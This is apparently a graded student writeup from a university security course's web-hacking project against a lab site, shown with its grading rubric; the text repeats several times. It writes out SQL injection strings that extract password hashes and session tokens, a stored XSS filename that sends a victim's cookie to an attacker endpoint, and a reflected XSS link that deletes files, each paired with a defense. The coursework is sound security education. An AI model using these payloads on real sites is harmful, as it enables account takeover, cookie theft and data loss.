CS 161 Project 3 Writeup

Danny Halawi

TOTAL POINTS

29 / 30

QUESTION 1

1 3. Obtain shomil's password hash **6 / 6**

✓ **+ 4 pts Identifies signup page as vulnerable location**

+ 4 pts Other exploit that successfully earns the flag

✓ **+ 2 pts Identifies at least one valid defense (e.g. use parameterized SQL, use safe libraries, sanitize inputs)**

+ 0 pts Incorrect/blank

QUESTION 2

2 4. Gain access to nicholas's account **6 / 6**

✓ **+ 4 pts Describes attack via inserting session token for Nicholas**

+ 4 pts Describes attack via injecting SQL directly into cookie value

+ 4 pts Other exploit that successfully earns the flag

✓ **+ 2 pts Identifies at least one valid defense (e.g. use parameterized SQL, use safe libraries, sanitize inputs)**

+ 0 pts Incorrect/blank

QUESTION 3

3 5. Leak cs161's session cookie **6 / 6**

✓ **+ 4 pts Identifies stored XSS attack via uploading & renaming filename (NOTE: this must be through filename, not via another method).**

✓ **+ 2 pts Mentions at least one valid defense (e.g. sanitizing or escaping user inputs)**

+ 4 pts Other exploit that successfully earns the flag

+ 0 pts Incorrect/blank

QUESTION 4

4 6. Create a link that deletes users' files **6 / 6**

✓ **+ 4 pts Identifies reflected XSS vulnerability on search page**

+ 4 pts Other exploit that successfully earns the flag

✓ **+ 2 pts Provides at least one valid defense (e.g. escape user input)**

+ 0 pts Incorrect/blank

QUESTION 5

5 7. Gain access to the admin panel **5 / 6**

✓ **+ 4 pts Identifies the password for admin user by reversing the hash**

+ 4 pts Other exploit that successfully earns the flag

+ 2 pts Mentions password salting, using a secure third party library for password management, or another reasonable defense

✓ **+ 1 pts (Partial) Mentions defenses against SQL injection (sanitization, parametrized/prepared SQL)**

+ 1 pts (Partial) Other more generic defense

+ 0 pts Incorrect/blank

System Design

Question 3:
attack: We conjecture that when a user signs up, there is a SQL query made in the back-end to check if the user exists (or for some other purpose). Furthermore, we conjecture that the statement takes on the following form: SELECT (something) FROM users[a] WHERE username = **input1** AND password = **input2**; we perform a SQL injection:

- ⋆ username: garbage'; SELECT md5_hash FROM users WHERE username = 'shomil' --
- ⋆ password: garbage

defense: We should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

Question 4:
attack: Through question 3, we know that the sign-up page runs SQL in the back-end, so we can utilize this to nullify the statement made by the back-end and inject our own SQL to query whatever DB we desire (in this case the sessions table[b]); we provide the following input:

- ⋆ username: garbage'; SELECT token FROM sessions WHERE username='nicholas' --
- ⋆ password: garbage

We therefore retrieve the value of his token, log-in into our account, locate our session-token cookie, and replace the value with nicholas' token; refreshing the page will then complete the exploit. **defense:** We should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

Question 5:
attack: We perform a stored XSS attack. We create a file, garbage.txt, fill it with garbage, and upload it. We then change the name of the file to be <script>fetch('/evil/report?message='+document.cookie)</script>, and share that file with cs161. Because we are told that he is actively browsing the main pages of the site, and because we are told that his session-token cookie is sent to the server with every request, this javascript will run once he loads a page that displays the title of the file and send his session-cookie

[a]since we know the table is called users (given in the question)
[b]since we know the table is called sessions (given in the question)

1 3. Obtain shomil’s password hash 6 / 6

✓ + **4 pts** **Identifies signup page as vulnerable location**

+ **4 pts** Other exploit that successfully earns the flag

✓ + **2 pts** **Identifies at least one valid defense (e.g. use parameterized SQL, use safe libraries, sanitize inputs)**

+ **0 pts** Incorrect/blank

System Design

Question 3:
attack: We conjecture that when a user signs up, there is a SQL query made in the back-end to check if the user exists (or for some other purpose). Furthermore, we conjecture that the statement takes on the following form: SELECT (something) FROM users[a] WHERE username = **input1** AND password = **input2**; we perform a SQL injection:

- ⋆ username: garbage'; SELECT md5_hash FROM users WHERE username = 'shomil' --
- ⋆ password: garbage

defense: We should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

Question 4:
attack: Through question 3, we know that the sign-up page runs SQL in the back-end, so we can utilize this to nullify the statement made by the back-end and inject our own SQL to query whatever DB we desire (in this case the sessions table[b]); we provide the following input:

- ⋆ username: garbage'; SELECT token FROM sessions WHERE username='nicholas' --
- ⋆ password: garbage

We therefore retrieve the value of his token, log-in into our account, locate our session-token cookie, and replace the value with nicholas' token; refreshing the page will then complete the exploit. **defense:** We should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

Question 5:
attack: We perform a stored XSS attack. We create a file, garbage.txt, fill it with garbage, and upload it. We then change the name of the file to be <script>fetch('/evil/report?message='+document.cookie)</script>, and share that file with cs161. Because we are told that he is actively browsing the main pages of the site, and because we are told that his session-token cookie is sent to the server with every request, this javascript will run once he loads a page that displays the title of the file and send his session-cookie

[a]since we know the table is called users (given in the question)
[b]since we know the table is called sessions (given in the question)

2 4. Gain access to nicholas’s account **6 / 6**

✓ **+ 4 pts** **Describes attack via inserting session token for Nicholas**

+ 4 pts Describes attack via injecting SQL directly into cookie value

+ 4 pts Other exploit that successfully earns the flag

✓ **+ 2 pts** **Identifies at least one valid defense (e.g. use parameterized SQL, use safe libraries, sanitize inputs)**

+ 0 pts Incorrect/blank

System Design

Question 3:
attack: We conjecture that when a user signs up, there is a SQL query made in the back-end to check if the user exists (or for some other purpose). Furthermore, we conjecture that the statement takes on the following form: SELECT (something) FROM users[a] WHERE username = **input1** AND password = **input2**; we perform a SQL injection:

⋆ username: garbage'; SELECT md5_hash FROM users WHERE username = 'shomil' --

⋆ password: garbage

defense: We should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

Question 4:
attack: Through question 3, we know that the sign-up page runs SQL in the back-end, so we can utilize this to nullify the statement made by the back-end and inject our own SQL to query whatever DB we desire (in this case the sessions table[b]); we provide the following input:

⋆ username: garbage'; SELECT token FROM sessions WHERE username='nicholas' --

⋆ password: garbage

We therefore retrieve the value of his token, log-in into our account, locate our session-token cookie, and replace the value with nicholas' token; refreshing the page will then complete the exploit. **defense:** We should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

Question 5:
attack: We perform a stored XSS attack. We create a file, garbage.txt, fill it with garbage, and upload it. We then change the name of the file to be <script>fetch('/evil/report?message='+document.cookie)</script>, and share that file with cs161. Because we are told that he is actively browsing the main pages of the site, and because we are told that his session-token cookie is sent to the server with every request, this javascript will run once he loads a page that displays the title of the file and send his session-cookie

[a]since we know the table is called users (given in the question)
[b]since we know the table is called sessions (given in the question)

to /evil/logs accordingly. **defense:** Because the filename is appearing in some HTML tag when it is displayed to the user, we need to sanitize our input. Our data sanitization could remove all tags, or could be more intentional and remove specific (potentially malicious) tags like <script>.

Question 6:
attack: We perform a reflected XSS attack. When you search for a file, the query-parameter is reflected back in the search results. We therefore inject a script to delete the files by placing the script as a query-parameter in the URL for file search: https://proj3.cs161.org/site/search?term=<script>fetch('https://proj3.cs161.org/site/deleteFiles',{method:'POST'})</script>. Logging into the UnicornBox website and entering the URL there (because of the CORS policy) completes the attack. **defense:** We could not have our query parameter be placed into the HTML. However, if this functionality is needed, we can enforce Content Security Policy and provide an allowlist of sources of trusted content. Additionally, we can specify policy directives and enable control over the resources that page is allowed to load.

Question 7:
We are told that people reuse passwords and that admin has a normal user account. We revisit the sign-up page and get their password for their normal user account by performing the following SQL injection:

⋆ username: garbage'; SELECT md5_hash FROM users WHERE username = 'admin' --

⋆ password: garbage

We retrieve the password hash, so the next natural step is to decode their password using a md5_hash decoder[c], which yields the password letmein. We then click the admin button on the login page and enter the password to complete the attack. **defense:** We should mandate that the admin always use a different password than their user account password. More generally, we should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

[c] I used this decoder: https://www.md5online.org/md5-decrypt.html

3 5. Leak cs161's session cookie 6 / 6

✓ **+ 4 pts Identifies stored XSS attack via uploading & renaming filename (NOTE: this must be through filename, not via another method).**

✓ **+ 2 pts Mentions at least one valid defense (e.g. sanitizing or escaping user inputs)**

+ 4 pts Other exploit that successfully earns the flag

+ 0 pts Incorrect/blank

to /evil/logs accordingly. **defense:** Because the filename is appearing in some HTML tag when it is displayed to the user, we need to sanitize our input. Our data sanitization could remove all tags, or could be more intentional and remove specific (potentially malicious) tags like <script>.

Question 6:
attack: We perform a reflected XSS attack. When you search for a file, the query-parameter is reflected back in the search results. We therefore inject a script to delete the files by placing the script as a query-parameter in the URL for file search: https://proj3.cs161.org/site/search?term=<script>fetch('https://proj3.cs161.org/site/deleteFiles',{method:'POST'})</script>. Logging into the UnicornBox website and entering the URL there (because of the CORS policy) completes the attack. **defense:** We could not have our query parameter be placed into the HTML. However, if this functionality is needed, we can enforce Content Security Policy and provide an allowlist of sources of trusted content. Additionally, we can specify policy directives and enable control over the resources that page is allowed to load.

Question 7:
We are told that people reuse passwords and that admin has a normal user account. We revisit the sign-up page and get their password for their normal user account by performing the following SQL injection:

⋆ username: garbage'; SELECT md5_hash FROM users WHERE username = 'admin' --

⋆ password: garbage

We retrieve the password hash, so the next natural step is to decode their password using a md5_hash decoder[c], which yields the password letmein. We then click the admin button on the login page and enter the password to complete the attack. **defense:** We should mandate that the admin always use a different password than their user account password. More generally, we should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

[c]I used this decoder: https://www.md5online.org/md5-decrypt.html

4 6. Create a link that deletes users’ files 6 / 6

✓ **+ 4 pts** **Identifies reflected XSS vulnerability on search page**

+ 4 pts Other exploit that successfully earns the flag

✓ **+ 2 pts** **Provides at least one valid defense (e.g. escape user input)**

+ 0 pts Incorrect/blank

to /evil/logs accordingly. **defense:** Because the filename is appearing in some HTML tag when it is displayed to the user, we need to sanitize our input. Our data sanitization could remove all tags, or could be more intentional and remove specific (potentially malicious) tags like <script>.

Question 6:
attack: We perform a reflected XSS attack. When you search for a file, the query-parameter is reflected back in the search results. We therefore inject a script to delete the files by placing the script as a query-parameter in the URL for file search: https://proj3.cs161.org/site/search?term=<script>fetch('https://proj3.cs161.org/site/deleteFiles',{method:'POST'})</script>. Logging into the UnicornBox website and entering the URL there (because of the CORS policy) completes the attack. **defense:** We could not have our query parameter be placed into the HTML. However, if this functionality is needed, we can enforce Content Security Policy and provide an allowlist of sources of trusted content. Additionally, we can specify policy directives and enable control over the resources that page is allowed to load.

Question 7:
We are told that people reuse passwords and that admin has a normal user account. We revisit the sign-up page and get their password for their normal user account by performing the following SQL injection:

⋆ username: garbage'; SELECT md5_hash FROM users WHERE username = 'admin' --

⋆ password: garbage

We retrieve the password hash, so the next natural step is to decode their password using a md5_hash decoder[c], which yields the password letmein. We then click the admin button on the login page and enter the password to complete the attack. **defense:** We should mandate that the admin always use a different password than their user account password. More generally, we should use prepared statements (parameterized query). Doing so will cause the input to be interpreted as a literal value and placed correctly in the syntax tree, instead of being concatenated in the command-string.

[c]I used this decoder: https://www.md5online.org/md5-decrypt.html

5 7. Gain access to the admin panel **5 / 6**

- ✓ **+ 4 pts** **Identifies the password for admin user by reversing the hash**
- **+ 4 pts** Other exploit that successfully earns the flag
- **+ 2 pts** Mentions password salting, using a secure third party library for password management, or another reasonable defense
- ✓ **+ 1 pts** **(Partial) Mentions defenses against SQL injection (sanitization, parametrized/prepared SQL)**
- **+ 1 pts** (Partial) Other more generic defense
- **+ 0 pts** Incorrect/blank